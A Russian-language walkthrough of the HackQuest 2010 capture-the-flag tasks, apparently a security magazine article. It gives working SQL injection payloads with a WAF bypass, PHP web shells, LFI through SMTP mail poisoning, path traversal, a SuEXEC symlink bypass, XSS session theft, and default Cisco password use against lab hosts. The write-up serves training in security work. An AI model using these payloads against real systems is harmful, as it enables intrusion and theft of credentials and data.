В данной публикации описано прохождение большинства предложенных этапов хак-квеста, который проходил в конце августа на фестивале Chaos Constructions 2010, а затем в урезанном формате был доступен online на портале SecurityLab.

HackQuest 2010 — это открытые соревнования по защите информации, сутью которых является выполнение ряда разнообразных заданий, связанных с информационной безопасностью: webhacking, social engineering, reverse engineering и тому подобное.

Участникам хак-квеста предоставлялась полная свобода выбора по прохождению заданий — их можно было выполнять в любой последовательности. Для захвата одного ключа (флага) необходимо было воспользоваться чередой реальных уязвимостей в самых настоящих (продуктивных) системах, так что участники конкурса могли почувствовать себя реальными взломщиками :). Правда, результаты соревнований продемонстрировали, что для большинства участников задания HackQuest 2010 оказались довольно сложными. Эта статья представляет собой руководство по прохождению некоторых из них.

 

Задание №1: Классика

После предварительного сканирования сети обнаруживался вебсайт некого турагентства под названием «Хаос». Немного побродив по этому сайту, в разделе поиска можно было по выдаваемому базой данных MySQL сообщению об ошибке отыскать уязвимость типа «Внедрение операторов SQL» (insert-based).

Стоит отметить, что сайт был защищен mod_security с правилами по умолчанию. Уязвимый SQL-запрос имеет вид:

$query = "INSERT INTO indexes (text,source) value
('".$_GET['text']."',".$_GET['action'].")";

Таким образом, запрос для проведения атаки может выглядеть так:

http://172.16.0.2/search.php?action=0&text=1'/*!%2b(s
elect+1+from(select+count(*),concat((select+user()+fr
om+information_schema.tables+limit+0,1),0x3a,floor(ra
nd(0)*2))x+from+information_schema.tables+group+by+x)
a)*/,0)--+

Приведенный выше запрос отобразит идентификатор пользователя, от имени которого веб-приложение взаимодействует с базой данных. Как это работает?

1. Используется конструкция /*!...sql-код...*/, которая позволяет выполнять SQL-код в обход правилам по умолчанию всех версий mod_security, включая последние версии (см. devteev.blogspot.com/2009/10/sql-injection-waf.html).

2. Используется символ «+» (%2b) для работы со строками (подробнее см. https://rdot.org/forum/showthread.php?t=60).

3. Используется универсальный способ проброса полезной нагрузки в сообщении об ошибке (см. qwazar.ru/?p=7):

select 1 from(select count(*),concat((select
user()),0x3a,floor(rand(0)*2))x from information_
schema.tables group by x)a

4. SQL–запрос приводится к синтаксически корректному виду путем добавления конструкции «,0)», а все лишнее обрезается с использованием двух символов тире. Чтобы обрезать конец добавляемого запроса на веб-сервере, используется пробельный символ «+» (в HTTP GET-запросе является эквивалентом пробелу).

Развивая вектор атаки, требовалось стянуть полезные данные из базы данных. Для MySQL 5.x это довольно просто, так как в этой версии присутствует база information_schema, которая содержит всю необходимую информацию о структуре СУБД. Таким образом, атака с использованием уязвимости SQL Injection сводилась к типовому набору запросов:

http://172.16.0.2/search.php?action=0&text=1'/*!%2
b(select+1+from(select+count(*),concat((select+tab
le_name+from+information_schema.tables+where+table_
schema!='information_schema'+and+table_schema!='mysql'
+limit+0,1),0x3a,floor(rand(0)*2))x+from+information_
schema.tables+group+by+x)a)*/,0)--+
...

На выходе — таблица admins.

http://172.16.0.2/search.php?action=0&text=1'/*!%2b
(select+1+from(select+count(*),concat((select+colu
mn_name+from+information_schema.columns+where+table_n
ame='admins'+limit+1,1),0x3a,floor(rand(0)*2))
x+from+information_schema.columns+group+by+x)a)*/,0)-+
http://172.16.0.2/search.php?action=0&text=1'/*!%2b
(select+1+from(select+count(*),concat((select+colu
mn_name+from+information_schema.columns+where+table_n
ame='admins'+limit+2,1),0x3a,floor(rand(0)*2))
x+from+information_schema.columns+group+by+x)a)*/,0)-+

А на десерт — имена колонок login и password в таблице admins.

http://172.16.0.2/search.php?action=0&text=1'/*!%2b(s
elect+1+from(select+count(*),concat((select+concat_ws
(0x3a,login,password)+from+admins+limit+0,1),0x3a,flo
or(rand(0)*2))x+from+admins+group+by+x)a)*/,0)--+

В результате получаем данные из таблицы admins (имя пользователя и MD5-хеш от пароля). После получения MD5-хеша его требовалось восстановить. Самый простой способ — воспользоваться бесплатными сервисами восстановления MD5-хешей по «радужным таблицам» (например, xmd5.org).

Став обладателем имени пользователя и пароля, самое время вбить их в какой-нибудь интерфейс :). Обнаружить таковой можно в файле robots.txt, расположенном в корневом каталоге веб-сервера. После доступа в админку выдается сообщение об ошибке, по которой легко определяется уязвимость класса Remote File Including (RFI). Эксплуатация подобных уязвимостей является довольно тривиальной задачей и сводится к указа нию атакуемому веб-приложению запросить файл с сервера атакующего. Атакующий же подготавливает файл, содержащий код на языке PHP. Пример самого простого кода, позволяющего выполнять команды операционной системы:

<?php passthru($_REQUEST['c']);?>.

После получения возможности выполнения команд ОС требовалось скопировать приватный RSA-ключ одного из пользователей системы, а затем, используя полученный RSA-ключ, реализовать доступ к системе по протоколу SSH и получить доступ к долгожданному флагу.

Именно за последовательность SQLi->RFI->RSA задание и получило кодовое имя «Классика».

 

Задание №2: Не классика

На этапе исследования сети можно было, аналогично предыдущему заданию, наткнуться на некое веб-приложение, связанное с SMS-сервисами. Беглый анализ позволял обнаружить уязвимость типа «Внедрение операторов SQL» (selection-based) в базе данных PostgreSQL:

http://172.16.0.4/index.php?r=recovery&name=1&email=1
&status=cast(version()+as+numeric)

Приведенный выше запрос выведет версию используемой базы данных в сообщении об ошибке. Это работает, так как, во-первых, приложение возвращает сообщение об ошибке СУБД пользователю, а во-вторых, используется приведение строкового типа к числовому. Используя базу information_schema эквивалентно MySQL 5.x, можно легко и быстро восстановить структуру СУБД:

http://172.16.0.4/index.php?r=recovery&name=1&email=1
&status=1;select(select+table_name+from+information_
schema.tables+limit+1+offset+0)::text::int-http://172.16.0.4/index.php?r=recovery&name=1&email=1
&status=1;select(select+table_name+from+information_
schema.tables+limit+1+offset+105)::text::int
--На выходе — таблица vsmsusers.

http://172.16.0.4/index.php?r=recovery&name=1&email=1&
status=1;select+(select+column_name+from+information_
schema.columns+where+table_name=chr(118)||chr(115)||c
hr(109)||chr(115)||chr(117)||chr(115)||chr(101)||chr(
114)||chr(115)+limit+1+offset+1)::text::int
--На выходе — имена колонок login и password в таблице vsmsusers.

Следуя подсказке, что в системе зарегистрирован миллионный пользователь, которого ждет специальное вознаграждение, требовалось получить доступ именно к его учетной записи (интересно, что участники старательно не замечали эту подсказку и сливали всю таблицу пользователей или пытались создать этого «козырного» миллионного пользователя). Получив доступ в интерфейс счастливчика, можно заметить новый интерфейс, в котором содержится уязвимость типа File Including (вернее даже Local File Including/LFI).

Сложность эксплуатации уязвимости заключается в том, что происходит проверка длины поступающего запроса, и, если он не равен шестнадцати символам, то поступающий запрос не попадает в функцию include(). Решением этой проблемы является использование самого короткого PHP веб-шелла (см. raz0r.name/releases/mega-reliz-samyj-korotkij-shell):

http://172.16.0.4/index.php?u=LV89284&p=data:,<?=@`$c
`?>&c=ls

 

Как это работает?

  1. Использование stream wrappers (data появился в PHP с версии 5.2.0);
  2. short_open_tag и register_globals в состоянии «ON»;
  3. <?= ?> эквивалентно <? echo ?>;
  4. Использование обратных кавычек эквивалентно использованию shell_exec().

Получив таким образом возможность выполнения команд на сервере, требовалось получить список пользователей системы (/etc/passwd). После чего, используя любой инструментарий подбора пароля к сервису telnet (например, THC-Hydra, Medusa, ncrack), следовало осуществить подбор используемых паролей пользователями системы. Перебор должен был позволить выявить пользователя, у которого установлен пароль, совпадающий с его идентификатором. Доступ по протоколу telnet с привилегиями этого пользователя давал возможность получить содержимое очередного флага.

 

Задание №3: Самописный веб-сервер

Довольно простую уязвимость можно было отыскать на веб-сервере, который светил своей мордочкой задание с крякмисом. Это одно из самых простых заданий хак-квеста, в котором требовалось найти уязвимость типа «Выход за корневой каталог веб-сервера» (path traversal). Указанную уязвимость легко можно было обнаружить автоматизированным путем с использованием соответствующих инструментов (поэтому очень настораживают конечные результаты online-соревнований securitylab.ru/hq2010/list.php). Эксплуатация уязвимости требовала лишь отправить веб-серверу запрос следующего вида: «GET /../../../root/.history HTTP/1.1». Получив содержимое истории вводимых администратором команд, с помощью консольной магии можно было легко получить очередной флаг.

 

Задание №4: Доска объявлений

В игровой сети располагалось веб-приложение, которое эмулировало работу электронной доски объявлений. Получив доступ к исходному коду приложения (для этого требовалось обратиться к index.bak) можно было восстановить всю логику работы приложения, которая заключалась в следующем: если пользователь пытался добавить более одного сообщения в течение одной минуты, то его IP-адрес добавлялся в черный список (файл blacklist.php). Уязвимость заключалась в том, что приложение проверяло переменную окружения веб-сервера HTTP_X_FORWARDED_FOR, и, если указанная переменная была установлена, то вместо IP-адреса в черный список попадало содержимое заголовка браузера X-Forwarded-For без какойлибо проверки (на самом деле идея баги была позаимствована у приложения CuteNews).

Эксплуатация уязвимости сводилась к установке в качестве заголовка X-Forwarded-For чего-то вроде этого:

';?><?eval($_ GET['cmd']);?><?$a='.

После получения возможности выполнения команд на сервере и прочтения истории команд, вводимых администратором, можно было понять, где спрятан заветный ключ.

 

Задание №5: Cross-Site Scripting

Когда речь заходит про атаки вида XSS (предполагается, что ты понимаешь, что эти три буквы значат :)), то все сразу вспоминают про обычные отраженные и хранимые XSS, и лишь иногда — еще и про так называемые DOM-based XSS (см. owasp.org/index.php/DOM_Based_XSS).

А ведь последние известны как минимум с 2005 года, когда были описаны в известной статье Амита Клейна (см. webappsec.org/projects/articles/071105.shtml). Если коротко, то данный тип XSS базируется на том, что входные данные веб-приложения принимаются и используются для модификации DOM на стороне веб-браузера в контексте JavaScript-языка. Сам HTTP-ответ сервера таким образом никак не изменяется! Классический пример данной уязвимости:

...
Select your language:
<select><script>
document.write("<OPTION value=1>"+document.
location.href.substring(document.location.href.
indexOf("default=")+8)+"</OPTION>");
document.write("<OPTION value=2>English</OPTION>");
</script></select>

Эксплуатация представляет собой передачу JavaScript-нагрузки в параметре default следующим образом:

http://www.some.site/page.html#default=<script>alert(
document.cookie)</script>

Всё было бы замечательно, но современные веб-браузеры решили обезопасить пользователей и параметры адреса передаются в JavaScript-контекст в url-закодированном виде, добавляя проблем атакующему и делая эксплуатацию не такой тривиальной. К сожалению, такая защита не является достаточным средством, поскольку вариантов использования параметров адреса довольно много, и они вовсе не ограничиваются приведенным выше примером. А с развитием веб-приложений (переносом всё большей части логики работы на сторону веббраузера) этот вид Cross-Site Scripting ждет перерождение. Но вернемся к нашему заданию. Оно было воплощено в виде очередного клона популярного сервиса микроблоггинга.

Открываем и изучаем HTML-код главной страницы. В самом конце замечаем уязвимый участок кода счётчика посещений:

...
</div>
<script>
document.write(unescape('%3Cimg%20src%3D%22/img/stat.
png?site='+document.location.href+'%22%3E'));
</script>
</div>
</body>
</html>

Дальнейшие действия очевидны — воруем сессию администратора сервиса, который, судя по всему, достаточно активно им пользуется.

Для этого:

  1. Регистрируем нового пользователя.
  2. Отсылаем администратору личное сообщение, содержащее ссылку с JavaScript-нагрузкой (например, отправка кук на заранее приготовленный сниффер).
  3. Администратор нажимает на ссылки в сообщениях, не глядя.
  4. Заполучив его сессию, в его личных сообщениях и обнаруживаем необходимый нам очередной ключ.
  5. Profit!
 

Задание №6: Хостинг

Проводя исследование игровой сети, можно наткнуться на сервер, который светил страницей по умолчанию веб-сервера Apache на 80-м порту, а также использовался в качестве SMTP- и DNS-сервера. Чтобы понять, какие сайты обслуживает веб-сервер, требовалось осуществить перенос DNS-зоны. Но какой зоны? Ответ на этот вопрос мог быть получен из обратной DNS-зоны, которая также обслуживалась на этом сервере.

Узнаем про DNS-суффикс, используемый веб-сервером: dig

@172.16.0.10 PTR 10.0.16.172.in-addr.arpa

Осуществляем перенос DNS-зоны:

dig @172.16.0.10 cc10.site axfr

Далее требовалось настроиться на использование этого DNSсервера (или прописать соответствующие имена в файлик hosts). После беглого осмотра доступных сайтов можно было обнаружить уязвимость типа Local File Including на сайте Василия Пупкина. Для ее эксплуатации и дальнейшего развития атаки единственным способом являлось использование SMTP-демона в качестве транспорта для проброса полезной нагрузки (см. xakep.ru/post/49508/default.asp). Например, следующим образом:

telnet 172.16.0.10 25
ehlo cc10.site
mail from:any@cc10.site
rcpt to:vasya
data
<?php passthru($_GET['cmd']);?>
.

ENTER

Проделав ряд шаманских манипуляций с SMTP-демоном, становилось возможным получить доступ к выполнению команд операционной системы:

http://vasya.cc10.site/index.php?file=/var/mail/
vasya%00&cmd=ls -la /

Но даже с таким доступом к серверу чтобы получить игровой ключ, нужно очень постараться. Причина этому — модуль SuEXEC, который разграничивал доступ к соседним сайтам.

Для обхода указанных ограничений требовалось использовать символические ссылки (см. kernelpanik.org/docs/kernelpanik/suexec.en.pdf). Это было возможным только по причине того, что в конфигурации веб-сервера использовалась директива AllowOverride All.

Дальнейшая атака сводилась к выполнению следующих запросов:

1. Включение возможности использования символических ссылок путем переопределения настроек на каталог сайта vasya.cc10.site:

echo Options +FollowSymLinks > /usr/local/www/data/
vasya/.htaccess

2. Осуществление доступа к каталогу сайта, содержащему игровой «флаг»:

ln -s /usr/local/www/data/root/.htaccess /
usr/local/www/data/vasya/test.txt

3. Осуществление доступа к файлу, содержащему данные для аутентификации на сайте r00t.cc10.site:

ln -s /usr/local/
www/data/root/.htpasswd_new /usr/local/www/data/
vasya/passwd.txt

4. Расшифровка полученного MD5-хеша (например, с использование PasswordsPro или John the Ripper)

5. Доступ к содержимому сайта r00t.cc10.site и получение игрового ключа

 

Задание №7: Позитивный PDF

В одном из заданий хак-квеста предлагалось изучить (позитивный) pdf-файл, который обращался к веб-приложению с использованием встроенных алгоритмов шифрования. По специальным маркерам можно было сделать вывод, что в pdf-файл внедрен еще и flash-объект.

Далее, также по специальному маркеру, необходимо было определить, что swf внутри pdf-файла внедрен с использованием сжатия zlib. Таким образом получить «чистый» swf-файл возможно, например, при помощи библиотеки zlib языка Python. Следующим этапом являлось восстановление алгоритма формирования запроса к веб-приложению по выдернутому swf-файлу. Для этого можно было воспользоваться утилитой swfdump из пакета swftools. Особое внимание следовало обратить на функцию Obfuscate — она и выполняет функцию генерации запроса к серверу.

Сам ключ, по которому выполняется шифрование, нужно было восстановить из следующего фрагмента кода:

00016) + 0:0 getlocal_0
00017) + 1:0 pushint 170
00018) + 2:0 pushint 42
00019) + 3:0 pushint 52
00020) + 4:0 pushint 120
00021) + 5:0 pushint 178
00022) + 6:0 pushint 249
00023) + 7:0 pushint 255
00024) + 8:0 pushint 228
00025) + 9:0 pushint 80
00026) + 10:0 pushint 32

Зная ключ и алгоритм шифрования, возможно генерировать произвольные запросы к веб-приложению. Чтобы получить игровой флаг, требовалось сформировать запрос к вебприложению с использованием простейшей техники эксплуатации уязвимости «Внедрение операторов SQL».

 

Задание №8: Стеганография

Стеганография — это наука о скрытой передаче информации путем сохранения в тайне самого факта передачи. В отличие от криптографии, которая скрывает содержимое секретного сообщения, стеганография скрывает само его существование.

В цифровом мире в качестве контейнера для скрываемой информации обычно используют мультимедиа-объекты (изображения, видео, аудио, текстуры 3D-объектов) и внесение искажений, которые находятся ниже порога чувствительности среднестатистического человека и не приводят к заметным изменениям этих объектов. Но, как несложно догадаться, контейнером может выступить не только мультимедиа-файл. В нашем случае в роли контейнера выступил HTML-код! Дело в том, что веб-браузер при отображении страницы игнорирует идущие подряд пробельные символы, если они не заданы как HTML-мнемоники. Таким образом два и более пробела показываются как один. То же самое относится к символам табуляции и переноса строк.

Это был краткий экскурс в теорию. А само задание представляло собой HTML-страницу с Манифестом хакера (стыд и позор тебе, %username%, если ты не читал это послание Ментора), которое можно было отыскать на просторах игровой сети.

Предполагая всю трудность раскрытия специфики задания, в HTML-коде была заботливо оставлена подсказка, указывающая на то, что пробелы в коде могут выполнять не только роль разделения слов в предложениях. Внимательный участник мог обнаружить, что слова в тексте разделены не везде одинаково.

Если говорить более конкретно, то один пробел представлял собой не что иное, как «0», а двойной пробел, соответственно, «1». Иными словами, речь идет про один бит информации. Восемь бит есть один байт и одновременно код символа в ASCII-таблице. Ограничителем сообщения выступала последовательность «пробел + символ табуляции». Задание было осложнено именно пониманием того, что текст - не просто очередная попытка пропаганды хакинга, а эта обычная статичная HTML-страница и есть задание, из которого и надо добыть заветный ключ.

 

Задание №9: Cisco

Помимо ханипотов, эмулирующих сетевые устройства и различные операционные системы, в игровой сети можно было отыскать самый что ни на есть «живой» роутер на базе Cisco IOS. Сканирование TCP-портов должно было показать, что доступен сервис FINGER. Обратившись к этому сервису, можно было получить имя зарегистрированного пользователя на устройстве. Дальше достаточно было проверить на порту TELNET имя этого пользователя с паролем «cisco» (стандартный пароль для оборудования Cisco). Следующий шаг заключался в поднятии привилегий на устройстве.

Само собой, речь не шла о пятнадцатом уровне доступа :). Но на третий уровень доступа с паролем «cisco» можно было подняться. Уже на этом этапе у пользователя хватало привилегий, чтобы просмотреть запущенную конфигурацию. Используя команду «Router#show running-config view full» можно было получить конфигурацию устройства, а вместе с ней и игровой флаг.

 

Задание №10: TFTP

Одно из самых простых заданий, которое можно было отыскать в игровой сети — это задание, связанное с TFTP-сервисом.
Однако, как оказалось, без каких-либо подсказок и оно стало довольно сложным для большинства участников. Для решения задания требовалось обнаружить доступный TFTP-сервис (69/udp), а затем подобрать имя файла, которое на нем хранилось.

Как раз подбор и вызвал наибольшие сложности у участников соревнования. Имя файла, которое необходимо было подобрать — это «router-config», стандартное имя файла по умолчанию при копировании конфигурации с консоли оборудования на базе Cisco IOS.

Примечательно, что в словарях систем поиска уязвимостей и даже специализированных инструментах (таких, как tftptheft) отсутствует заветное имя «router-config».

Если же файл был все-таки получен, то проблем с выдергиванием из него игрового ключа не возникало. Ключ хранился в формате паролей «secret 7» и мог быть восстановлен различными инструментами (например, с использованием Cain&Abel).

 

Заключение

К сожалению, формат журнала не позволяет рассказать про все задания (их было более двадцати), предложенные на HQ2010. Поэтому расширенная версия данной публикации доступна в электронном виде по адресу xakepru.habrahabr.ru/.
Спасибо всем, кто принимал участие в соревновании HQ2010!

Спасибо разработчикам HQ2010, сделавшим его таким насыщенным и интересным. Отдельное спасибо Тимуру Юнусову, Сергею Павлову, Александру Матросову, Владимиру Воронцову aka D0znp, Валере Марчуку. Также хочется поблагодарить всех организаторов и спонсоров (в частности, ESET и SecurityLab), которые предоставили возможность провести подобное мероприятие. До скорых встреч на будущих хак-квестах!

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии